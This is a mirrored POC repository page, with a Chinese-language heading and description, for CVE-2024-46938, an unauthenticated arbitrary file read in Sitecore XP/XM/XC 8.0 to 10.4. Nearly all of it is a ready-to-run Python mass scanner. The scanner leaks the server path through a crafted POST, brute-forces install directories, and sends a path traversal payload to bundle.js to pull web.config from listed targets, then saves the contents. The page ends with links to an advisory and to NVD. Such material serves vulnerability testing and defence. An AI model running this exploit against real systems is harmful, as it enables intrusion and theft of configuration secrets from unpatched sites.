mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-05 18:27:10 +00:00
213 lines
8.7 KiB
Markdown
213 lines
8.7 KiB
Markdown
![]() |
# Sitecore未授权读取任意文件(CVE-2024-46938)
|
||
|
|
||
|
在 Sitecore Experience Platform (XP)、Experience Manager (XM) 和 Experience Commerce (XC) 8.0 初始版本至 10.4 初始版本中发现了问题。未经身份验证的攻击者可以读取任意文件。
|
||
|
|
||
|
## poc
|
||
|
|
||
|
```python
|
||
|
import argparse
|
||
|
import requests
|
||
|
import tldextract
|
||
|
import urllib3
|
||
|
import re
|
||
|
from tqdm import tqdm
|
||
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||
|
from datetime import datetime
|
||
|
from typing import List, Optional
|
||
|
|
||
|
urllib3.disable_warnings()
|
||
|
|
||
|
class FileDisclosureScanner:
|
||
|
def __init__(self):
|
||
|
self.results = []
|
||
|
self.fixed_paths = [
|
||
|
r"C:\\inetpub\\wwwroot\\sitecore\\",
|
||
|
r"C:\\inetpub\\wwwroot\\sitecore1\\",
|
||
|
r"C:\\inetpub\\wwwroot\\sxa\\",
|
||
|
r"C:\\inetpub\\wwwroot\\XP0.sc\\",
|
||
|
r"C:\\inetpub\\wwwroot\\Sitecore82\\",
|
||
|
r"C:\\inetpub\\wwwroot\\Sitecore81\\",
|
||
|
r"C:\\inetpub\\wwwroot\\Sitecore81u2\\",
|
||
|
r"C:\\inetpub\\wwwroot\\Sitecore7\\",
|
||
|
r"C:\\inetpub\\wwwroot\\Sitecore8\\",
|
||
|
r"C:\\inetpub\\wwwroot\\Sitecore70\\",
|
||
|
r"C:\\inetpub\\wwwroot\\Sitecore71\\",
|
||
|
r"C:\\inetpub\\wwwroot\\Sitecore72\\",
|
||
|
r"C:\\inetpub\\wwwroot\\Sitecore75\\",
|
||
|
r"C:\\Websites\\spe.dev.local\\",
|
||
|
r"C:\\inetpub\\wwwroot\\SitecoreInstance\\",
|
||
|
r"C:\\inetpub\\wwwroot\\SitecoreSPE_8\\",
|
||
|
r"C:\\inetpub\\wwwroot\\SitecoreSPE_91\\",
|
||
|
r"C:\\inetpub\\wwwroot\\Sitecore9\\",
|
||
|
r"C:\\inetpub\\wwwroot\\sitecore93sc.dev.local\\",
|
||
|
r"C:\\inetpub\\wwwroot\\Sitecore81u3\\",
|
||
|
r"C:\\inetpub\\wwwroot\\sitecore9.sc\\",
|
||
|
r"C:\\inetpub\\wwwroot\\sitecore901xp0.sc\\",
|
||
|
r"C:\\inetpub\\wwwroot\\sitecore9-website\\",
|
||
|
r"C:\\inetpub\\wwwroot\\sitecore93.sc\\",
|
||
|
r"C:\\inetpub\\wwwroot\\SitecoreSite\\",
|
||
|
r"C:\\inetpub\\wwwroot\\sc82\\",
|
||
|
r"C:\\inetpub\\wwwroot\\SX93sc.dev.local\\",
|
||
|
r"C:\\inetpub\\SITECORE.sc\\",
|
||
|
r"C:\\inetpub\\wwwroot\\"
|
||
|
]
|
||
|
|
||
|
def attempt_absolute_path_leak(self, base_url: str) -> Optional[str]:
|
||
|
"""Attempt to discover absolute path through POST request."""
|
||
|
path_discovery_endpoint = f"{base_url}/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.ValidateXHtml?hdl=a"
|
||
|
headers = {
|
||
|
"Accept": "*/*",
|
||
|
"Accept-Encoding": "gzip, deflate, br",
|
||
|
"Accept-Language": "en-US;q=0.9,en;q=0.8",
|
||
|
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36",
|
||
|
"Connection": "close",
|
||
|
"Cache-Control": "max-age=0",
|
||
|
"Content-Type": "application/x-www-form-urlencoded"
|
||
|
}
|
||
|
data = "__PAGESTATE=/../../x/x"
|
||
|
|
||
|
try:
|
||
|
response = requests.post(path_discovery_endpoint, headers=headers, data=data, verify=False, timeout=5)
|
||
|
if response.status_code == 500:
|
||
|
match = re.search(r"Could not find a part of the path '([^']+)'", response.text)
|
||
|
if match:
|
||
|
absolute_path = match.group(1)
|
||
|
print(f"[+] Discovered absolute path for {base_url}: {absolute_path}")
|
||
|
return absolute_path
|
||
|
except requests.RequestException:
|
||
|
pass
|
||
|
return None
|
||
|
|
||
|
def generate_dynamic_paths(self, base_url: str) -> List[str]:
|
||
|
"""Generate dynamic paths based on URL components."""
|
||
|
extracted = tldextract.extract(base_url)
|
||
|
subdomain = extracted.subdomain
|
||
|
domain = extracted.domain
|
||
|
suffix = extracted.suffix
|
||
|
fqdn = f"{subdomain}.{domain}.{suffix}".strip(".")
|
||
|
|
||
|
return [
|
||
|
fr"C:\\inetpub\\{domain}.sc\\",
|
||
|
fr"C:\\inetpub\\{fqdn}.sc\\",
|
||
|
fr"C:\\inetpub\\{subdomain}.sc\\",
|
||
|
fr"C:\\inetpub\\{fqdn}\\",
|
||
|
fr"C:\\inetpub\\{subdomain}\\",
|
||
|
fr"C:\\inetpub\\{domain}\\",
|
||
|
fr"C:\\inetpub\\{domain}.sitecore\\",
|
||
|
fr"C:\\inetpub\\{fqdn}.sitecore\\",
|
||
|
fr"C:\\inetpub\\{subdomain}.sitecore\\",
|
||
|
fr"C:\\inetpub\\{domain}.website\\",
|
||
|
fr"C:\\inetpub\\{fqdn}.website\\",
|
||
|
fr"C:\\inetpub\\{subdomain}.website\\",
|
||
|
fr"C:\\inetpub\\{domain}.dev.local\\",
|
||
|
fr"C:\\inetpub\\{fqdn}.dev.local\\",
|
||
|
fr"C:\\inetpub\\{subdomain}.dev.local\\",
|
||
|
fr"C:\\inetpub\\{domain}sc.dev.local\\",
|
||
|
fr"C:\\inetpub\\{fqdn}sc.dev.local\\",
|
||
|
fr"C:\\inetpub\\{subdomain}sc.dev.local\\"
|
||
|
]
|
||
|
|
||
|
def send_request(self, base_url: str, path: str, progress_bar: tqdm) -> Optional[dict]:
|
||
|
"""Send request to check for vulnerability."""
|
||
|
test_path = f"{path}sitecore\\shell\\client\\..\\..\\..\\web.config%23.js"
|
||
|
payload_url = f"{base_url}/-/speak/v1/bundles/bundle.js?f={test_path}"
|
||
|
|
||
|
try:
|
||
|
response = requests.get(payload_url, verify=False, timeout=5)
|
||
|
if response.status_code == 200 and "<?xml version=" in response.text and "<configuration>" in response.text:
|
||
|
result = {
|
||
|
"url": base_url,
|
||
|
"path": path,
|
||
|
"content": response.text
|
||
|
}
|
||
|
self.results.append(result)
|
||
|
return result
|
||
|
except requests.RequestException:
|
||
|
pass
|
||
|
finally:
|
||
|
progress_bar.update(1)
|
||
|
return None
|
||
|
|
||
|
def process_url(self, base_url: str, progress_bar: tqdm) -> None:
|
||
|
"""Process a single URL."""
|
||
|
leaked_path = self.attempt_absolute_path_leak(base_url)
|
||
|
|
||
|
if leaked_path:
|
||
|
leaked_path = leaked_path.replace("x\\x.txt", "")
|
||
|
paths_to_test = [leaked_path] + self.generate_dynamic_paths(base_url)
|
||
|
else:
|
||
|
paths_to_test = self.fixed_paths + self.generate_dynamic_paths(base_url)
|
||
|
|
||
|
with ThreadPoolExecutor(max_workers=5) as executor:
|
||
|
futures = [executor.submit(self.send_request, base_url, path, progress_bar)
|
||
|
for path in paths_to_test]
|
||
|
for future in as_completed(futures):
|
||
|
future.result()
|
||
|
|
||
|
def save_results(self, output_file: str) -> None:
|
||
|
"""Save results to file."""
|
||
|
if self.results:
|
||
|
with open(output_file, "w") as f:
|
||
|
for result in self.results:
|
||
|
f.write(f"URL: {result['url']}\n")
|
||
|
f.write(f"Path: {result['path']}\n")
|
||
|
f.write(f"Extracted File:\n{result['content']}\n\n")
|
||
|
|
||
|
def print_results(self) -> None:
|
||
|
"""Print all found results."""
|
||
|
if self.results:
|
||
|
print("\n[+] Successfully exploited CVE-2024-46938 and obtained web.config:")
|
||
|
for result in self.results:
|
||
|
print(f"\nTarget: {result['url']}")
|
||
|
print(f"Local Path: {result['path']}")
|
||
|
print("-" * 50)
|
||
|
|
||
|
def main():
|
||
|
parser = argparse.ArgumentParser(description="Test for absolute path disclosure vulnerability.")
|
||
|
parser.add_argument("--baseurl", help="Base URL of the target (e.g., https://example.com)")
|
||
|
parser.add_argument("--inputfile", help="File containing a list of URLs, one per line")
|
||
|
args = parser.parse_args()
|
||
|
|
||
|
urls = []
|
||
|
if args.baseurl:
|
||
|
urls.append(args.baseurl)
|
||
|
elif args.inputfile:
|
||
|
with open(args.inputfile, "r") as file:
|
||
|
urls = [line.strip() for line in file if line.strip()]
|
||
|
else:
|
||
|
parser.error("Either --baseurl or --inputfile must be provided")
|
||
|
|
||
|
scanner = FileDisclosureScanner()
|
||
|
timestamp = datetime.now().strftime("%Y%m%d-%H%M%S")
|
||
|
output_file = f"output-{timestamp}.txt"
|
||
|
|
||
|
# Calculate total requests for progress bar
|
||
|
total_requests = len(urls) * (len(scanner.fixed_paths) + len(scanner.generate_dynamic_paths(urls[0])))
|
||
|
|
||
|
with tqdm(total=total_requests, desc="Scanning", unit="request") as progress_bar:
|
||
|
with ThreadPoolExecutor(max_workers=10) as main_executor:
|
||
|
futures = {main_executor.submit(scanner.process_url, url, progress_bar): url
|
||
|
for url in urls}
|
||
|
for future in as_completed(futures):
|
||
|
future.result()
|
||
|
|
||
|
if scanner.results:
|
||
|
scanner.save_results(output_file)
|
||
|
print(f"\n[+] Found {len(scanner.results)} vulnerable targets")
|
||
|
print(f"[+] Results saved to: {output_file}")
|
||
|
scanner.print_results()
|
||
|
else:
|
||
|
print("\n[-] No vulnerabilities found")
|
||
|
|
||
|
if __name__ == "__main__":
|
||
|
main()
|
||
|
```
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
## 漏洞来源
|
||
|
|
||
|
- https://www.assetnote.io/resources/research/leveraging-an-order-of-operations-bug-to-achieve-rce-in-sitecore-8-x---10-x
|
||
|
- https://nvd.nist.gov/vuln/detail/CVE-2024-46938
|